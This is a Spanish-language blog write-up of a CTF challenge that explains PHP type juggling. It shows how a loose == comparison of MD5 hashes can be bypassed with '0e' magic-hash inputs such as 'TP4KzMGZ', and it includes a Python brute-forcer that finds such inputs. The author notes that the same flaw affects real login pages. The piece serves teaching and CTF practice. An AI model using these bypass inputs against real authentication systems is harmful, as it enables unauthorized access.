Type Juggling == PHP


Creado
Type Juggling == PHP

Jugaremos con la pobre validación que se hace a veces en formularios o procesos de PHP, estos llevados a cabo con == o !=.

En este artículo vamos a explorar una vulnerabilidad en códigos de PHP llamada Type Juggling.

Aprovecharé un reto de un CTF creado por CERT RCTS para explicar este tipo de vuln:

🎲 Gracias https://defendingthesoc.ctf.cert.rcts.pt/.

Démosle…

  1. Descripción y exploración del reto.
  2. Empezamos a conocernos con el Type Juggling.
  3. Automatizamos la búsqueda de la cadena que genera el bypass (Type Juggling).
  4. Referencias.

Vemos el reto #

Some type of juggling

Entramos al sitio web y obtenemos esto:

Nos provee con el código fuente de la web y además nos indica que debemos usar el parámetro hash para obtener la flag.

El código fuente es este:

<!DOCTYPE HTML>
<?php
    if(isset($_GET['source'])) {
        highlight_file(__FILE__);
        die();
    } else {
        $value = "240610708";
        if (isset($_GET['hash'])) {
            if ($_GET['hash'] === $value) {
                die('It is not THAT easy!');
            } 
            $hash = md5($_GET['hash']);
            $key = md5($value);
            if($hash == $key) {
                include('flag.php');
                print "Congratulations! Your flag is: $flag";
            } else {
                print "Flag not found!";
            }
        } 
    }
?>

<html>
  <head>
    <title>Challenge 1</title>
  </head>
  <body>
    <h2> Source code says it all</h2>
    <p>Try to get the flag using the 'hash' parameter</p>
    <a target="_blank" href="?source">See the source code</a>

  </body>
</html>

Bien, veamos rápidamente que hace el programa…


Review del fuente PHP 📌

El código central en el que nos enfocaremos (y el importante) solo esta en esta parte:

...
$value = "240610708";
if (isset($_GET['hash'])) {
    if ($_GET['hash'] === $value) {
        die('It is not THAT easy!');
    } 
    $hash = md5($_GET['hash']);
    $key = md5($value);
    if($hash == $key) {
        include('flag.php');
...

Inicialmente vemos que si le pasamos al parámetro hash el valor 240610708 nos saltaría It is not THAT easy!… Esto ya que válida si el valor y el tipo de variable (int, float, string…) son iguales.

En caso de no ser iguales y no ver el error, toma el valor del parámetro y el de la variable $value y genera un hash MD5 (Message-Digest Algorithm 5) para cada uno, que ese tipo de hash es muy usado para comprobar si un archivo ha sido modificado en alguna transmisión o proceso.

Y como paso final para obtener la flag, válida que los hashes resultantes sean iguales, peeeeeeeeeeero solo su valor, no su tipo.

🤾🏿 ACÁ es cuando empezamos a jugar…


Hacemos algunos testeos 📌

Para entender que hace el código muuuucho mejor, creamos este con el que jugaremos toooodo el artículo.

<?php
    $value = "240610708";
    $hash_get = "<vamos_a_jugar_con_esta_variable>";

    if ($hash_get === $value) {
        echo "It is not THAT easy!\n";
        exit(1);
    }

    $hash = md5($hash_get);
    $key = md5($value);

    echo "Value: " . $value . " - Hash: " . $key . "\n";
    echo "Hash_GET: " . $hash_get . " - Key: " . $hash . "\n";

    if ($key == $hash) {
        echo "\n[+] Iguales... 3st4{es_l4_fLA6}\n";
    } 
    else {
        echo "\n[-] No son iguales...\n";
    }
?>

Podemos pensar en enviar el valor 240610708 en el parámetro, peeero como hay una comprobación entre esas dos variables antes de las del hash, vamos a entrar al exit(1):

http://challenges.defsoc.tk:8080?hash=240610708
$value = "240610708";
$hash_get = "240610708";

Así que F.

También podríamos pensar en enviar el valor MD5 de 240610708, claramente pasaríamos el primer if, pero ¿obtendríamos la flag? (¿qué dices tú antes de ver la respuesta?)

❱ echo -n "240610708" | md5sum
0e462097431906509019562988736854
http://challenges.defsoc.tk:8080?hash=0e462097431906509019562988736854
$value = "240610708";
$hash_get = "0e462097431906509019562988736854";

Exacto, no son iguales, ya que esta generando un hash nuevo con el valor 0e462097431906509019562988736854, así que tampoco es por acá…

Volviendo a la descripción del reto nos habla de -“algún tipo de juggling”- ¿khe?

Investiguemos.

Empezamos a jugar con el Type Juggling #

Hablamos un poquito de Type Juggling 📌

Buscando juggling php llegamos a esta brutal descripción del propio manual de PHP:

Perfecto, el primer párrafo ya nos explica que es eso del “juggling” (type juggling), básicamente es el juego entre tipos de variables, donde podemos definir una que sea tipo int ($hola=1;) pero después darle otro valor que cambie su tipo, por ejemplo string ($hola="1";) sin tener problemas.

Esto es interesante, porque si validamos los dos resultados, ¿serían iguales? 😮 Claramente no, ¿cierto? Una es un entero y la otra es una string… Validemos:

<?php
    $holaINT = 1;
    $holaSTRING = "1";

    if ($holaINT == $holaSTRING) {
        echo "Son iguales :o\n";
    }
    else {
        echo "No son iguales :)\n";
    }
?>

WTF, ¿kheeeeeeeeeeee? (antes ya expliqué la razón, pero ¿la recuerdas?).

Apoyado en varios recursos vamos a entender que pasa acá y como aprovecharnos de ello…

Todo viene de la comparación pobre que se hace al usar == o !=, que estaría diciendo: “válida si las dos variables tienen el mismo valor”, pero esta comparación no es estricta, por lo que no válida si las dos tienen el mismo tipo de variable, en este caso si int == string, esto no lo hace, por eso nos muestra que son iguales 🙃

Este comportamiento puede parecer a primera vista simplemente molesto, pero noooooooo, es causante de muuuuuuchos problemas y huecos en la seguridad…

El peligro puede llegar cuando aunque sea una de las variables que están siendo comparadas, es manipulada por el usuario. Y que en el peor de los casos ese usuario tenga pensamientos de atacante 😈

En nuestro caso tenemos un simple redirect hacia flag.php si logramos jugar correctamente con el Type Juggling, pero en el mundo real estos problemas se ven un montón en los panel login.

Bueno, ya vimos que 1=="1", ¿pero qué pasa si validamos 1=="1 y más texto acá"?

Claramente no son iguales…

<?php
    $holaINT = 1;
    $holaSTRING = "1 y más texto acá";

    if ($holaINT == $holaSTRING) {
        echo "Son iguales :o\n";
    }
    else {
        echo "No son iguales :)\n";
    }
?>

Ejecutamos:

❱ php test.php 
Son iguales :o

Jmmmmmmm, QUEEEEEEEEEEEEEE!!

Lo que hace PHP acá es que como el primer carácter de la cadena es el número de la otra variable (1), lo extrae y los demás caracteres no le interesan, simplemente asimila que estamos comparando 1=="1", o sea la misma prueba que hicimos antes…

Obviamente si cambiamos la cadena a algo como:

1=="a y más 1 texto acá" --> No son iguales
1=="2 y más texto acá"   --> No son iguales

Pues perfecto, ya entendimos como funciona un Type Juggling, veamos como obtener la flag jugando con él.


Explotamos el Type Juggling para conseguir la flag 📌

Algo que entendimos es que podemos generar el bypass simplemente consiguiendo que las dos variables sean del mismo tipo más no con el mismo valor.

El hash con el que esta comparando nuestro input ($_GET['hash']) es este:

0e462097431906509019562988736854

Que si usamos PHP para ver su tipo, nos mostrara que es una string, peeeeeeeeeero si PHP encuentra que el hash empieza con 0e y el resto de su contenido es numérico, lo tratara como si su tipo de variable fuera float y no una string 😶

Con esto en mente, sabemos que tenemos que encontrar un valor que al obtener su hash MD5, primero empiece con 0e y segundo que su contenido sean solo números… Así, solo así, haríamos que la validación de:

<?php
    $value = "240610708";
    $hash_get = "<este_valor>";

    // md5($value) --> 0e462097431906509019562988736854 --> float
    // md5($hash_get) --> buscamos este valor numerico para que sea --> float

    // Y así compare (float==float) y logremos ver la flag
    if ($key == $hash) {
        echo "[+] Iguales... 3st4{es_l4_fLA6}\n";
    } 
?>

Uff algo difícil, ¿no?

En internet encontramos muchísimos valores con los que podríamos probar:

Si tomamos alguno, por ejemplo: NOOPCJF y lo probamos en nuestro test.php, generamos el bypass:

Ya podríamos probar en la web y también obtendríamos la flag, solo que sería la del reto.

Pero ta feo simplemente copiar y pegar, intentemos buscar una cadena nosotros mismos…

Jugamos con Python para encontrar hash tipo float #

Eso sí, debemos tener paciencia, ya que tenemos que generar dos cosas importantes:

  • Un hash que inicie con 0e.
  • Que el contenido después del 0e sea únicamente números.

Juguemos con cadenas random, así mismo será la posibilidad de obtener rápido algún hash con los criterios necesarios…

#!/usr/bin/python3

import hashlib
import string
import random
import signal

# Funciones ---------------------------.
def def_handler(signal, frame):  # Controlamos salida con Ctrl+C
    print()
    exit()

signal.signal(signal.SIGINT, def_handler)

# Inicio del programa -----------------.
dic = string.ascii_letters + string.digits  # abc...xyzABC...XYZ0123456789
rand_index = list(range(7, 15))  # Generamos array: [7, 8 ... 13, 14]

while True:
    # Elegimos un numero aleatorio de nuestro array (entre 7 y 14), ese numero será el tamaño de la cadena.
    # Y la cadena se construye con caracteres aleatorios del diccionario.
    random_value = ''.join(random.choices(dic, k=random.choice(rand_index)))
    # Generamos hash MD5 correspondiente al valor random.
    hash_random_value = hashlib.md5(random_value.encode('utf-8')).hexdigest()

    # Si el hash empieza con 0e, jugamos...
    if hash_random_value.startswith("0e"):
        # Extraemos todo lo que esta despues del 0e y validamos si su contenido es numerico.
        if hash_random_value[2:].isnumeric():
            # Si es numerico, tenemos el hash del texto que PHP interpreta como flotante.
            print(f"[+] Texto: {random_value} - Hash: {hash_random_value}")
            break

jugl.py

Si lo ejecutamos (lo dicho, dándole tiempo) llegamos a obtener una cadena:

Y si hacemos las respectivas prueeeebaas:

$value = "240610708";·
$hash_get = "TP4KzMGZ";

Opa, es válidooooooooooo, si lo probamos ahora contra el sitio real:

Y listoos, hemos bypasseado la validación de hashes aprovechando la pobre comparación que PHP hace al usar == y no ===. Esto para hacer un match en cuanto a los tipos de variables aunque el contenido de ellas sea distinto.

Referencias #


Como dije al inicio, esta vulnerabilidad puede verse “pequeña” en estos entornos de -ver flags-, pero las pobres comparaciones (== o !=) se ven mucho en logins, ahí es donde reside el verdadero terror de esto, ya que podemos bypassear a lo loco.

Espero que haya sido de utilidad este post y como siempre digo, a seguir rompiendo de todoooooooooooooo (pero con cuidadito y con respeto).

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus